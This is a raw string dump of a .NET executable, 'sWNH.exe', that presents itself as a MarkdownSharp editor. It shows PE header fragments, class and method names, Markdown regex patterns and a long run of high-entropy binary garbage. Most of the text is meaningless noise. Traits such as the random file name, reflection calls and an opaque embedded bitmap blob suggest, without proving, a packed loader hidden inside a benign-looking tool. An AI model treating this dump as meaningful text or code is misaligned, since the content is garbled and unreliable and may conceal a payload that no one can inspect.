!This program cannot be run in DOS mode.
`.rsrc
@.reloc
((s9
((s9
K-s9
^-s9
50s9
v4.0.30319
#Strings
<>9__11_0
<Unescape>b__11_0
List`1
get_Panel1
KeyValuePair`2
Dictionary`2
get_Panel2
BlockQuoteEvaluator2
ListEvaluator2
ComputeMD5
get_UTF8
<Module>
TokenizeHTML
_markerOL
_markerUL
System.IO
value__
set_AcceptsTab
mscorlib
EscapeBoldItalic
get_StrictBoldItalic
set_StrictBoldItalic
_strictBoldItalic
_strictItalic
_italic
System.Collections.Generic
Thread
add_TextChanged
inputTextBox_TextChanged
_listNested
System.Collections.Specialized
MarkdownOld
<StrictBoldItalic>k__BackingField
<FilePath>k__BackingField
<AutoHyperlink>k__BackingField
<AutoNewlines>k__BackingField
<LinkEmails>k__BackingField
<EncodeProblemUrlCharacters>k__BackingField
<EmptyElementSuffix>k__BackingField
DoItalicsAndBold
_strictBold
TrimEnd
Append
Second
get_cFDe
Replace
_leadingWhitespace
set_SplitterDistance
EncodeCode
GetHashCode
set_AutoScaleMode
htmlOutputTabPage
rawOutputTabPage
AddRange
_invertedEscapeTable
_backslashEscapeTable
_escapeTable
IEnumerable
IDisposable
Hashtable
RuntimeTypeHandle
GetTypeFromHandle
loadOptionsFromConfigFile
_newlinesMultiple
set_Title
get_Style
set_Style
DockStyle
set_BorderStyle
FontStyle
_style
set_Name
get_FileName
set_FileName
set_Multiline
_anchorInline
_imagesInline
Escape
Unescape
ValueType
TokenType
GetType
_autolinkBare
get_Culture
set_Culture
resourceCulture
Capture
NameObjectCollectionBase
TextBoxBase
Dispose
getInverse
Create
DebuggerBrowsableState
EditorBrowsableState
_blockquote
STAThreadAttribute
CompilerGeneratedAttribute
GeneratedCodeAttribute
DebuggerNonUserCodeAttribute
DebuggableAttribute
DebuggerBrowsableAttribute
EditorBrowsableAttribute
ObsoleteAttribute
TargetFrameworkAttribute
CompilationRelaxationsAttribute
RuntimeCompatibilityAttribute
get_Value
CalculateNextDataValue
nextDataValue
psValue
currentValue
newValue
ModifyValue
sWNH.exe
set_Size
set_ImageScalingSize
set_MinimumSize
set_ClientSize
ISupportInitialize
Normalize
IndexOf
_linkDef
_anchorRef
_imagesRef
System.Threading
set_Padding
Encoding
_newlinesLeadingTrailing
System.Runtime.Versioning
ToString
RepeatString
GetString
Substring
disposing
System.Drawing
SaveFileDialog
saveFileDialog
OpenFileDialog
openFileDialog
CommonDialog
ShowDialog
IsMatch
ComputeHash
get_FilePath
set_FilePath
get_Width
set_Width
_tabWidth
set_SplitterWidth
get_Length
set_Length
EndsWith
StartsWith
nestedBracketDepth
_nestDepth
add_Click
saveFileToolStripMenuItem_Click
openFileToolStripMenuItem_Click
saveAsToolStripMenuItem_Click
exitToolStripMenuItem_Click
reloadDocumentToolStripMenuItem_Click
alternateHorizontalVerticalLayoutToolStripMenuItem_Click
set_Dock
_codeBlock
get_AutoHyperlink
set_AutoHyperlink
_autoHyperlink
System.ComponentModel
SplitterPanel
_listTopLevel
_listLevel
_blocksHtml
outputTabControl
ContainerControl
Program
get_Item
set_Item
ToolStripDropDownItem
ToolStripItem
saveFileToolStripMenuItem
openFileToolStripMenuItem
fileToolStripMenuItem
saveAsToolStripMenuItem
exitToolStripMenuItem
reloadDocumentToolStripMenuItem
alternateHorizontalVerticalLayoutToolStripMenuItem
viewToolStripMenuItem
System
HashAlgorithm
Random
MarkdownSharpEditorForm
Transform
resourceMan
ToBoolean
_codeSpan
AppDomain
GetDomain
set_Margin
set_Icon
get_Version
_version
Application
set_Location
System.Configuration
get_Orientation
set_Orientation
System.Globalization
System.Reflection
ICollection
NameValueCollection
MatchCollection
ControlCollection
ToolStripItemCollection
GroupCollection
KeysCollection
IndexOutOfRangeException
GetBlockPattern
GetNestedParensPattern
_nestedParensPattern
GetNestedBracketsPattern
_nestedBracketsPattern
set_AcceptsReturn
Markdown
markdown
CultureInfo
Bitmap
ToolStrip
mainStatusStrip
set_MainMenuStrip
mainMenuStrip
set_AllowDrop
MarkdownSharp
Cleanup
ToChar
InvokeMember
StringBuilder
sender
Binder
_hashFinder
_codeEncoder
get_ResourceManager
ComponentResourceManager
ConfigurationManager
marker
EventHandler
System.CodeDom.Compiler
IContainer
mainSplitContainer
outputWebBrowser
set_Filter
ToLower
set_Anchor
set_BackColor
set_UseVisualStyleBackColor
IEnumerator
GetEnumerator
SetextHeader1Evaluator
SetextHeader2Evaluator
TabEvaluator
BoldEvaluator
ImageReferenceEvaluator
AnchorReferenceEvaluator
EncodeCodeEvaluator
ImageInlineEvaluator
AnchorInlineEvaluator
UnescapeEvaluator
BlockQuoteEvaluator
AnchorRefEvaluator
MatchEvaluator
CodeBlockEvaluator
LinkEvaluator
HyperlinkEvaluator
EncodeEmailEvaluator
HtmlEvaluator
ListItemEvaluator
CodeSpanEvaluator
SetextHeaderEvaluator
AtxHeaderEvaluator
ItalicsEvaluator
EscapeBackslashesEvaluator
ListEvaluator
AnchorRefShortcutEvaluator
.cctor
MarkdownEditor
System.Diagnostics
System.Runtime.CompilerServices
System.Resources
MarkdownEditor.MarkdownSharpEditorForm.resources
MarkdownEditor.Properties.Resources.resources
DebuggingModes
DoImages
Matches
EscapeBackslashes
MarkdownEditor.Properties
EncodeAmpsAndAngles
_angles
_titles
DoHorizontalRules
_horizontalRules
EnableVisualStyles
AnchorStyles
get_AutoNewLines
set_AutoNewLines
get_AutoNewlines
set_AutoNewlines
_autoNewlines
EncodeBackslashEscapes
_backslashEscapes
_unescapes
DoBlockQuotes
EscapeSpecialCharsWithinTagAttributes
GetBytes
BindingFlags
get_AppSettings
EventArgs
FormParagraphs
DoHardBreaks
HashHTMLBlocks
DoCodeBlocks
_htmlBlocks
DoAutoLinks
Equals
get_LinkEmails
set_LinkEmails
_linkEmails
get_Controls
set_DetectUrls
get_Items
get_DropDownItems
ProcessListItems
System.Windows.Forms
DoCodeSpans
_htmlTokens
Contains
set_AutoScaleDimensions
System.Text.RegularExpressions
System.Collections
StripLinkDefinitions
MarkdownOptions
RegexOptions
options
get_Groups
set_ScrollBars
get_Chars
EscapeSpecialChars
UnescapeSpecialChars
EncodeProblemUrlChars
_problemUrlChars
DoHeaders
_escapeCharacters
get_EncodeProblemUrlCharacters
set_EncodeProblemUrlCharacters
_encodeProblemUrlCharacters
DoAnchors
SystemColors
EncodeEmailAddress
nestedBrackets
components
DoLists
get_Keys
set_ShortcutKeys
Concat
AppendFormat
GetObject
get_Height
set_Height
EndInit
BeginInit
GraphicsUnit
SetCompatibleTextRenderingDefault
DialogResult
ToLowerInvariant
_outDent
Outdent
InitializeComponent
get_Current
set_Font
Convert
_wholeList
ArrayList
_anchorRefShortcut
RunBlockGamut
RunSpanGamut
SuspendLayout
ResumeLayout
PerformLayout
set_DefaultExt
MoveNext
System.Text
get_Text
set_Text
ReadAllText
WriteAllText
set_DocumentText
_headerSetext
get_Window
get_Index
set_TabIndex
set_SelectedIndex
get_EmptyElementSuffix
set_EmptyElementSuffix
_emptyElementSuffix
outputRichTextBox
inputTextBox
_headerAtx
ToCharArray
get_Key
GetHashKey
ContainsKey
System.Security.Cryptography
get_Assembly
set_ReadOnly
markerAny
op_Equality
op_Inequality
IsNullOrEmpty
WrapNonExceptionThrows
.NETFramework,Version=v4.0
FrameworkDisplayName
.NET Framework 4
3System.Resources.Tools.StronglyTypedResourceBuilder
16.0.0.0
[This old version is included only for historical comparison purposes; use at your own risk!
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
fSystem.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3agSystem.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aBj
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Icon
IconData
IconSize
System.Drawing.Size
System.Drawing.Size
height
t^a6@C
| %L33
+n<sf5}
Bf\$NQs
&$>n+a
m419La'_
${dZqN
L%=^K-}
fU80+B
x+rC5!
u[v:29
$p>r0L
~7wHnp
S|pp`,\
=(Y5 n4
JX7Bhp
eaDu>W
uZp#yL
+Xn|7xn1
BCf;&9
N_29HN3
`{X>/3<
/=>+57
Z@1kkC?
/-$8d]!
.B}"FG
=}u5o>
%32NSt
.zcj$)
tvf;.
;{</3<
Ids>$l
B^F[5L
y}CD$I)7
VKo(OP
$S[$L=
5O^Z?n
mtP1!3>
h/`1.0
S{Qlw/
5/Y88U:
QxKgx"
>$:;)+
ny$|+$
d1~^o%&
=+.k\j
p?+#J5
%K7@*c
$K7@*c
+*B*/
#K7@*c
!j.l1v
p=3:<
rK&8d\
9'.2*q
,CGt}'F
1{1y?+
nX"[^8
W%K Pp
b#g=/2
g|#>p3<
1-;I0ps
{0~/3O
4H+0M
:G\G?-35C
:G\G? =6C
A\G? =6C
@\G?.=4C
:G\G? =
:G\G?-35C
:Z\G?$=*C
E\G?'#?C
A\G?#3+C
@\G? =6C
:Z\G? =6C
@\G?.=4C
:G\G?-35C
:G\G?-35C
@\G? =
@\G? =
:G\G?-35C
:G\G?-35C
:G\G? =6C
[v:{8)
B'43pkTO
8/&D5EO
{#D"P?
q ]vc
[v=m%R
5,T{J&J
rF$]~;_)
FZ/g]0L
l/PA+KI
@?p"h}
{F2 M{
5Oe?kg+
!ytlKZ
uP-Ql`
yXt`]"'
l~~X*Iq
r"Q%V;l
X$U]b~Z&gX
Q|49T"Ip
]&_X?
+P-`mZTA+
+%4%#YQ
30%V;UcZ3)
mt}g-O
<?<*Bj
:xpn:G
nW!1|9
|e.&8>
=19()'ZR$<Q
>>@g+Z
.dkuxl
Z(%"<(el<,W
am~pa.
Z\X1MC
?}xkCXE
\7{o"F
NQjO[,
@wmsU*
A<'XZ)
_FV~splmbC
$]HGS*
z:A`f=
pk=Kd,
%':O`k3
!:i%,:
KU"vob
c% :C^M
y~v_C<
e,#*EYZ=
/.Icw%
g'+-Ge`
*;oSu.Vw
g!+<EnD=
nc.Jm%
Ar@pO><s
c6MbDqOl
zJBF|Z
,1(NN)_c
Zo74hdcv
x'uxs%
##b[b'ujb
s`)&<a
hT7""fT{'
88WZwW
beKQp%
67mU$Yw
op'nz2
=kTW.QG`
AW,k\L
P#/<Vp),
~#fxVs
N^\!T W!}
j||Y=d
!stwcd7kJ
0?<io`
1Bkakop
zOVeZ(&
yeN-[$R
g:_/L9u
&E|\(p
_S'&I!
1m}l5`
Zl8NW,
7Z`T6:trV
?s+&K~
~\;/3<
^[=03<
[?KP,:
%s^?nSlK
,:N~s=
K{"8/!
&Q%::a
CreateInstance
System.ActivatorA
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Point
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Point
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Point
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Point
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
hSystem.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aPADPADa
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Bitmap
IDATx^
)G 04$z
i;}\"d
<'1MoG
wTzEmT8'Q
Eifj4-
KX&q%6[
m6\S~R
k^*n0td
d7'WN&Y
jmt!BA
&j}3-r}n
dEvbxX
2bam92
1;L<!OW!
(s5mi
T1pOKn
'BI!QA4
4|+?[O
c3@d/(i
%VrahL
.%a!Nz
Fs]qj|
N?h,k?vs
W\2.49
3~##q_
D&&Bs
yruykc*#
^IY[fG
z3deC'J
__}Scd
z!yovO
T}E^6~
v.f^43Z
rgst|BZe
oUcjN*"
f0%f?wT
raXp$F
s|>ZQ.<DA*K
OKvfhL
86Z<gQr
"9!f01
!,[.!}
~hD=O0
rgENss`
Us<%r#S
<R0k`R
hs-#mjS
G&}/w1
<4'E(5
TZ)uAp
@6=nCHVflg4
`r0<A:*
upNr(%/
M(C5G>^
j%v~Yt,
kJa9Db#
9|(}bj
H)>L:!
''!D76=
lq0lJi
_8A81\BBsi
*xEeYO
G.Jfy9
W~woOw-
XsTqU
XY='b&z
rD pB~
1+8YB}
i&M9&+_F\+k
$"IL*8Cq
0EF.s;:
6s72FN6
N/<ly1
_7]#8gHl
XxU}T26I
': :&z
lK?\s;
'H6"^1r
9|~$ w
4! mz
MR|E>/
|2 <a'
eqa+G8'
+o8Vvl
4QSw5A
mMDmVQfk
egbJHc
27"1".
M>ys?
*23\1>><
#*BC('
$%S'K+)
IHHAOn
n8AUB*
`2nIX&
*$-G)!PW
ptP^Sa
xG_F^<
b>y>~>,A*
7}3n(L
C';*64
9Ijb0`
w'O`Ma<Y
8eU^f.c
dto>k<
M!wRwJG
$H@1rBi
&Xe$%X
($gS!W
Qm!BfS
}*-F=8
])s5=3D
jF~I0K
4Lll_wo
+[CP*!5
iy:pz9E
pEw 'A;
;C!;??8S:5
[(`.lyt
ra"Kv)
Ky|AUS,
[.!(c>
#6A$TJ
d2PKPy
PAH9S:
y1h2l`
z>r`0
nhmz~lT
yLVtQX
yu<.tR-
E:v*}t
k O,/I^
4[9%*r,
}yUkiy
Z@`30D
,kL@$^
0o=m:WV$;
z&=<RP
CWR>N?z
@N6KD[=
[%RTi&
S;F^k
^#\^b.Sb
E&@@L
mQ[Lt{
8u@ST3w
w~v6?Ysnd
GWZ^".
l{[Gu[[v
Sh$*,S
2Q;`U8
Gxh76TO
<ovWAHZ+x
vAuCr;
5=aZ2*
9tX%5E
}/4o0#
L{[(&N
q%2J%=4+M
zkvaes
Cl/iG?
X:91nt
~`3)FW
$C\sF$d
KKxJm[
i@q;a#ls
41QqtV
k.)<&ak
ougFZY
u72XRg
a}=_'~
l>hm`F
fr*Y84[`3`
l+*n?
'M6^SI
c :`m$
hkX~~)
`=j S09u30
m}'WZX
-rTV9i
\cH\8Z#Q
_i?D_R:
hwM[+Z
UPZNh<
J|plm6
>8xr O
gsw}[+
[0 ,HB1
~K__].
&5p_nr
qT;]k6I
"\6ou}]
%Tgvw5
QF>9ZU
]l|>>Q
xLJoMqa
5('Nc`u7&
0s_j,uiq
a)6d(
*.i[<Qp
]Fj8C%Cq
!3Uo6r
?m_QP'
#;kb4Ix
en" :?z
joHekk
'B7Cjw
8!j[|x
*K~\?40
n cxC[J8E
:^}WGIG
GB)=fK
c|3mOl!)
1k3 ~
X109Lq?
O{(98_
.?}rJL
!nw}L,
5W4.k5
,'Q^/1
^,9{'b
}yqnOC
8kK;[&'r
{1#aE]i
qGh$Xa
\|hv\k
*-@$?[
oo7Mt)
-=Z|y5
|vWR,L]
%YI:\
id(T.h
S_\oxx
0ue)y`
E" 6c!
TlK;O?
~vJg/Z
kO}*[?
n=So{o
9n-`}]
j @,\N
qIo,..
wIK%1T
EPh&%q
Xtz<M+z
ms,=#!I+C@D
\t`Vtx
2sE|(yu
I($CfW
e)&lKf
?6pkRu
M]'*wh
!;}0|C
yE=yrS
>^X)e +^
7DM;c&
;+=D@5
&ah''V~>
&L2PB@
&%A$adc
1'tT4" S
;hv&"
FRIP{O]
XbU xBq
ij^ab2D
"wi1bm
_V -g;
J{]ud{
4|} he
+5D8H*
$LHcBy
vc~GcC
n4qAV<r
/~Od.J,
#Fp'G|
)\wz4@
g9ShFFh23
0Y%T:{
=jYmis
IY{1yi
} )T6l
khU{n=
l;^~lq
DI%'[~7
W52[zu
|Si/e{
#-j=UH
V9A0}GR
0dtxH8
-N=9cJ
{k~s#c
kUoG[q
g|K /&
L]iqiE|
9RP$]b
#C-0;7
'1\Tk)/
V@VxH!
lW#/Ycs'
p|%FEW
@Dx>AZ~
2I6)QRf(
*N=>~v
v_?zyO
.H}H~H
l{{6D2G
S=)]_#H
+$@WBT
=gv\bD
{nYozw
u}[oN<
SW;6Ru`
ak$G!x@
45MA8:
3e:q75
T'sg6D
M`5YR{
GR10 .p
#M"o3%
CiyC#
i",@Y>@
,tw Y
i6ZK#.
.E[*/E
^9(Xg~
48'XC&
{_%3RV
!'7%b(
]B@iN<{JI
=ZZx>E
O_\?#C
]"5Sol<
rG_`I\
~'yyQL
2Kuftj
Aa6K0n\
Pn`rZ~
>nU~$k9=
C>=LmC
tk 'Zu
<;vyB4
OaS(^0,`
)Fb'ol
>[)[:uo
Ro/`Vj
TU}u?f
Yxjpd{
"XH@x5
KqTIiXf>
o+r\l
@?Mzz
NNfv%vx^gk
!zW~$n
DgPUQ4
w>ySia
Jg=50
JN$G(ZcR
GG':zl
Q(KN^7
o~b0u^S*yS
^qtH7s
UgCLoI7
)AD OX
7uxM"U'
Bx6LXt`C
1BW>Ll
yq$()!@
S&L=>M
om]WvW
fak%6Pv'
VxM<X+
P7QERv
;6JQk?
F+CTK8iRIm
^qRl=Z
_WztoJ
YxpP$)U
iZSt:Q
7e,K`&
)?{_&
'M*IK9
>3a^K@
qEqOrz
(QTAz+
_XwJ+7
keI$@c+A
WK)0A:-
8[{5"
vS){\}
/Pd]w1
Evf>nu
?NOeG;
-I0&4D$N
{sgN<z
mD73D>
iW(oda
NmKES
3#%|86
}[:yRO^P.
#$U.Eq
=5"KE]
}t3IL?W
=!{!)#
SY==VU
SS35VY
E lgG5
k}5Y99u
+-m(R<
4uaHz<
l#!!S*
2vhkKfF
Uc?]:
]~7"|,
7SzB^9
PKzxtX
L[!E/E
e0"2x<W
7lPU=J$K]0E
Aag]Q[I
>M}^lv
T?Va8`
!RYINA
a% 61^
vm.<sqJ
N{baO-AA__q
00O?y=
:5FP:(;(I7
i0`_/B
;[nG[+q
O{e5_;;g&fm
c#Bm/:;
1u!I!)wM
n_q`Ct
Ii8Dp:
$u%-I+
W{Z0%
JT8 X{
s`$J@~
r9P]?s
3R-1&LM
.c=^,K
5L/A@B
].EzZ<
Z&}%o>
k:G%0Q
n$wZz$`
}8;T%-
N7oR"f
;&Zhk
.{*_?w~K
0v?+ ?
7%9jgj4j
&A8n L
qTr$9N
AL/H4U
i|7<;sn
ucO|r|-
V"8Cc@
0`/'QH
4>^@qP
O6WX4
Nny3>umb
,PI("1%
b~q{myu?
_Fgu}4Ds
B\Omgm[k
8niRxj|>
D @~6^m
)".yV7k{
wB3%_-
JL_;F<
r%6^K.
'7I-_QhN
6ka0n$>C
-*&lqCQ
^H8U$a
luiRx<K
U?Yl?qv
mhhko6
yFp<,.C
>~YrY
B\C[[+
rTH1P|
HNL/2W
YE<6R:
w,>!}yj
Q=AKf-
Wn8wEn
6NTl:we
ltCIj{8
h~'C<n
fkG;Um
t(4G6'
1pH!}
u.&/"vC2
x>!P79t?^
7LL<ro7.
ZqB:{Z
G9PR06
&B57KL<
_{-iI1
$<<mAIv
}-rj>6}
EL'/C6
Lj0|[=$
10,l}`
94k] U
E@PTTT
:DPzyL@
Ue/kHNz}
*Y)M|L
3OX4^[
[(}rmJ
qIEn\k
bCEO[)1
aOb6!l
u>=$4R
-K&vnsufhR
iAQmg6
+qYqZ`
Hil[3|
-HaDIQ\*
({6 S@
i|6$EB
~]=[6T
@zx6<?>V
ttB++<
RGvx~L
Bd[z>!
"?bd`i
[<=KmO
XWk6k9
Y^83\~`
Vhb-]CV
i_7YP>5
Gc3If\>
Hx?N9q
\7Ww&7
2LFi,C
*D"=KE
*6HRD0<
COUK/
YxPzOll
^9]wP&)TG_
'OQ<?0
[_}]-p
imORD:
6~_w2?
T2n7NuIX
rCo:*,
@.=4L]
[*yloz
G>?-4W
$"KGNt
LWsz66
R><X_f
7)b/ v
5r_uOY
MWcKq]
bOKFG7
E<C|._
F_}<Y8
lG(;V7
ZC&+2K
\&FIAV
9O7Qjt
[WENIJ
p5%^hF
-.+{$^
]'ah{"`
/7+oyD
I>,4K)I
RDX1K]
8=NqIW
%2?2U}z
9wZ#$I
'7ZXc_
k[smLs
B<A(0H
,]%koB
!#?'8KM
lK<>gTu
,>xhdt
AK+Z-n
"^Q`rB
LqkKuR&
*rf00D
"oZsaO
aTQE'1
l?\}zpz
emRI<`(
%2g!Tr
`\B(>=)\
s48n_ukg'
#=k_Fss
BKq8ze
l%D};o&
&8&aof
U7w4><L
n7>g)
:c`e#%
n a/yV
t.9DKf
`Gr%H
,<!m2
fRvgd&
.Zv;)@
UFk59+
#4E\=
6@K,;A
(9O/}
2TC%_&
F$^T>{
\B,!8pz
`;_;\.
M_HicbA
22W(LG
nHcArW^
i_GIoJ 6
HRF`vx
o|;f/e
q!0$Qf
B\##</
@|$3c"H
*B31:6
rgcaeG
=kBC&{
N*TC
So?\Tp
5]?uias
j{N^^(]
t1@3G{
9!^gM+1
>qQZ[Hl
)};[z|b
tp!12lV
[$[8Ejea
05)GL,
Hm5^K5
fI7FD-
Lh'EiK
6>&[b[
pV]k`{
r|&uKmWD0
z(mucs
uO.oX+
G~?*)zy
2]08BFK
~;4Z#f
tr|e}y
~9fCDfdn
JxGnpO
*Y|0Syg
`;~N28[
668Tnwl
r2c8jS)
p`<9m]
2FH|YK]
Rt(&'
q>LAc!
3Y-{>
<!Rax{:
AL_+az
qJVE*N
&UGA?
_XtkAQ
tO,,L A
{Pv>:\W[7r?{
:?K<75
IdbmzYG_%
a8r"Bx
`%jX+U
-"vd3m^
(KbYlp
<xXGfh
ZU]JRv
R[eWG.
8PDPp!
~1v4I.
KCmdRt
$<^96j
RztqcC
[*cqHb
%~]NT\vc
_=s7T/
pV7#t?
Tr{!G(
O{.O>=5
Z<gS<.
9O5bHg
n[TtHi
+[(_Lg
LWRJs/
O~!z=\
DD6C_*
F^v:a
LdJ%%2`&
I:W$IB'
P-A73|
W#jumi
B4_V"3>2/Q$
}O>5DF
m*'m O
pC}._I
X-8vFn
2 O=I/)
n]{wwdRX
k8WTJu!
'~s}7y
@M\Av]
o2cz.&
9b=_ff
ca)#WTVMO
LXfO{;
WOOGzX
NMgreq
^eNc!
!wm7uOym:
utg1Wd!
s1Q3bzX1
~c5t^H
l(%;x#QB^z
1W;H+\
QyX_wD
ku~a(P
eKd`-!M
Ac,O~xU
wp:Xc.
Cy<)8G
dKqwRg
kwHO(=
%;]\JEi]
km>Y)&
bb5Xm;
'[[M"k
I2ax)bYZT
V:G()
i'aF,],,A
@h`m&
B'6a!;u
eq(>VD{C
ReUq4~
W"?x{K{
Fg^\K
59S$j+
1!.PaWk
%j<^'Wy
>2r#0l
vNrsqA
=4QV\(
22>wprd
8;5B,%
BY6suW
My F5~5
SD$N*ki
4h; &T
<zN{WKKn
C.Z]f_2O
}b%I$i
;qQ"EWE
7l%$Yp
"5$:OI&
dxigK_
^bv@=/X*
8Y_M:9
cd<^!Q
:%mWDC
q!r2QMw@
S4f=T#
7_y3rr
-iM[4M_4
$IF\R
|c'Qj"
sC(A+,S
\uytfj
b/RSVO
Tz0d=9
-0PN3P
6f:ied
o-4V[30
5;udFs
kGjC}1
dJ$IIJ
h11~^`
cG7/L;
C/4^Z4Rj
M;_mYz
^XRygp
~->%=)!
Lwk*LV
@h6HEQ
G]` 00
+M8Z0Z`
]?kWg^
G`wA 4
}s+swV
q/_hp0@
1CP +
}K0,h~
EK~~=Z
Hn7&lm
2j{a%u
SC=8hUL
1JD6ocFe:
T_0|P%W
&\f@A>
}yxb!O
.Neb^<O
Y9}+Z5
-?DiV52'[
Iso=to/a
gH%fnw
CmC0?>52
c3akv2
%~l8&`
baU(]W
tcy4x4
|2;wbiK
iGRZ0Cn\
3}gjcr
{1Vu.\
,f5|a\d
QIS95m
,"&wgF\8Y
w{acTLJ
NVi"1O
K_!e@}
=WaDR2
uzWFzF
g6.?H~n*
W1/xwh
di &*2
M`Ti<;
S!'Xgx
MITUgk
r#n.>E
%!iC%%QH"T
, =r,v
;/NDKr
;Yvd1/
>wSN!o
uB|,2g
v.HJ~`
\l5n>.
6-{8Wo
xhAHs
y#?S2>
bn/KA[1o
4inKv"
'NCsC*A
l(Q&tM'
gyh=nZ#
7cg0xl
Ar8|7@
?h]oGm
]coL"W
l~l)BrZ$W
Ytu2-W!Z4
k=afF#
rk_%gW>
'J9Zt_
)}n"Q2
mhz+!U
gf=(aQ@
J-sBdX
yI{"/u
$xN/&|
*FOl#~
}Tfzr@a
Fjm]y-
vX|O&(
C]t>^7/pi
M=!kS)
]F6D\;
a'UGjX=
COq0m-
)y?}s71uT
HvH=`Qs
W0oy>..
Y3JiTo
erw3[^(
>l).'w
O0FiR'
9L4n#1
9CdlnSSfJ
k_3=y:MJM
G3gsy(
,+:FS9|-
Y8nO"c
&xJ_B_/
}qR[?b
qe0.%w
r/hG|
7"yR|n$
-Yta,-
.hjaI
e9HN6E
V"W^fI
{=K?#p$
*|43?4P?R
>)N@@@
w#)S%9
P1*On s
0XTK@r9w
W.>Iq(
wmvU^B
&>p%Fe
?QM<GZ
6R.\Gl
Zv,wce
8MQC"y5_,
}~?>IB
=cE][=/[-
kFXn)Rg
Yd4X3c
#'V\!?V
sWNH.pdb
SHA256
TTack@
#e~'S>
N[uO%-
D?O`7$6
s>?xIf
]USSU]Y[5
K/}CPm
ci3cog
L3{TBG
"]fU4?
7h^IVF
W>e1aZl)
t*7R`*WFE$
*R',kY
MCpYBS5
yD6mW9)=vt
_CorExeMain
mscoree.dll
t^a6@C
| %L33
+n<sf5}
Bf\$NQs
&$>n+a
m419La'_
${dZqN
L%=^K-}
fU80+B
x+rC5!
u[v:29
$p>r0L
~7wHnp
S|pp`,\
=(Y5 n4
JX7Bhp
eaDu>W
uZp#yL
+Xn|7xn1
BCf;&9
N_29HN3
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
(6M]irv{
<style>html,body,table{font: normal 10pt Verdana;}li{margin-bottom:7px;}h1{font-size:18pt;}h2{font-size:14pt;}</style>
63464465
6B6761
ZH5EOG524GHUG0OOY47DHD
MarkdownEditor
mainStatusStrip
statusStrip1
mainMenuStrip
menuStrip1
fileToolStripMenuItem
openFileToolStripMenuItem
&Open...
reloadDocumentToolStripMenuItem
&Reload
saveFileToolStripMenuItem
saveAsToolStripMenuItem
Save &As...
exitToolStripMenuItem
viewToolStripMenuItem
alternateHorizontalVerticalLayoutToolStripMenuItem
Alternate Horizontal/Vertical &Layout
mainSplitContainer
Consolas
inputTextBox
outputTabControl
htmlOutputTabPage
Rendered HTML Output
outputWebBrowser
rawOutputTabPage
Raw HTML Output
outputRichTextBox
txt files (*.txt)|*.txt|All files (*.*)|*.*
Select a text file
$this.Icon
MarkdownSharpEditorForm
Markdown Editor
MarkdownEditor.Properties.Resources
\`*_{}[]()>#+-.!
The requested character can not be escaped
The requested hash can not be found
:(?!\d{2,})
Markdown.AutoHyperlink
Markdown.AutoNewlines
Markdown.EmptyElementSuffix
Markdown.EncodeProblemUrlCharacters
Markdown.LinkEmails
Markdown.StrictBoldItalic
^\n+|\n+\z
\n{2,}
^[ ]{{0,{0}}}\[(.+)\]: # id = $1
[ ]*
\n? # maybe *one* newline
[ ]*
<?(\S+?)>? # url = $2
[ ]*
\n? # maybe one newline
[ ]*
(?:
(?<=\s) # lookbehind for whitespace
["(]
(.+?) # title = $3
[")]
[ ]*
)? # title is optional
(?:\n+|\Z)
(<!(?:--.*?--\s*)+>)| # match <!-- foo -->
(<\?.*?\?>)| # match <?foo?>
(<[A-Za-z\/!$](?:[^<>]|
# match <tag> and </tag>
( # wrap whole match in $1
\[
({0}) # link text = $2
\]
[ ]? # one optional space
(?:\n[ ]*)? # one optional newline followed by spaces
\[
(.*?) # id = $3
\]
)
( # wrap whole match in $1
\[
({0}) # link text = $2
\]
\( # literal paren
[ ]*
({1}) # href = $3
[ ]*
( # $4
(['"]) # quote char = $5
(.*?) # title = $6
\5 # matching quote
[ ]* # ignore any spaces between closing quote and )
)? # title is optional
\)
)
( # wrap whole match in $1
\[
([^\[\]]+) # link text = $2; can't contain [ or ]
\]
)
( # wrap whole match in $1
!\[
(.*?) # alt text = $2
\]
[ ]? # one optional space
(?:\n[ ]*)? # one optional newline followed by spaces
\[
(.*?) # id = $3
\]
)
( # wrap whole match in $1
!\[
(.*?) # alt text = $2
\]
\s? # one optional whitespace character
\( # literal paren
[ ]*
({0}) # href = $3
[ ]*
( # $4
(['"]) # quote char = $5
(.*?) # title = $6
\5 # matching quote
[ ]*
)? # title is optional
\)
)
^(.+?)
[ ]*
\n
(=+|-+) # $1 = string of ='s or -'s
[ ]*
\n+
^(\#{1,6}) # $1 = string of #'s
[ ]*
(.+?) # $2 = Header text
[ ]*
\#* # optional closing #'s (not counted)
\n+
^[ ]{0,3} # Leading space
([-*_]) # $1: First marker
(?> # Repeated marker group
[ ]{0,2} # Zero, one, or two spaces.
\1 # Marker character
){2,} # Group repeated at least twice
[ ]* # Trailing spaces
$ # End of line.
( # $1 = whole list
( # $2
[ ]{{0,{1}}}
({0}) # $3 = first list item marker
[ ]+
)
(?s:.+?)
( # $4
\z
|
\n{{2,}}
(?=\S)
(?! # Negative lookahead for another list item marker
[ ]*
{0}[ ]+
)
)
)
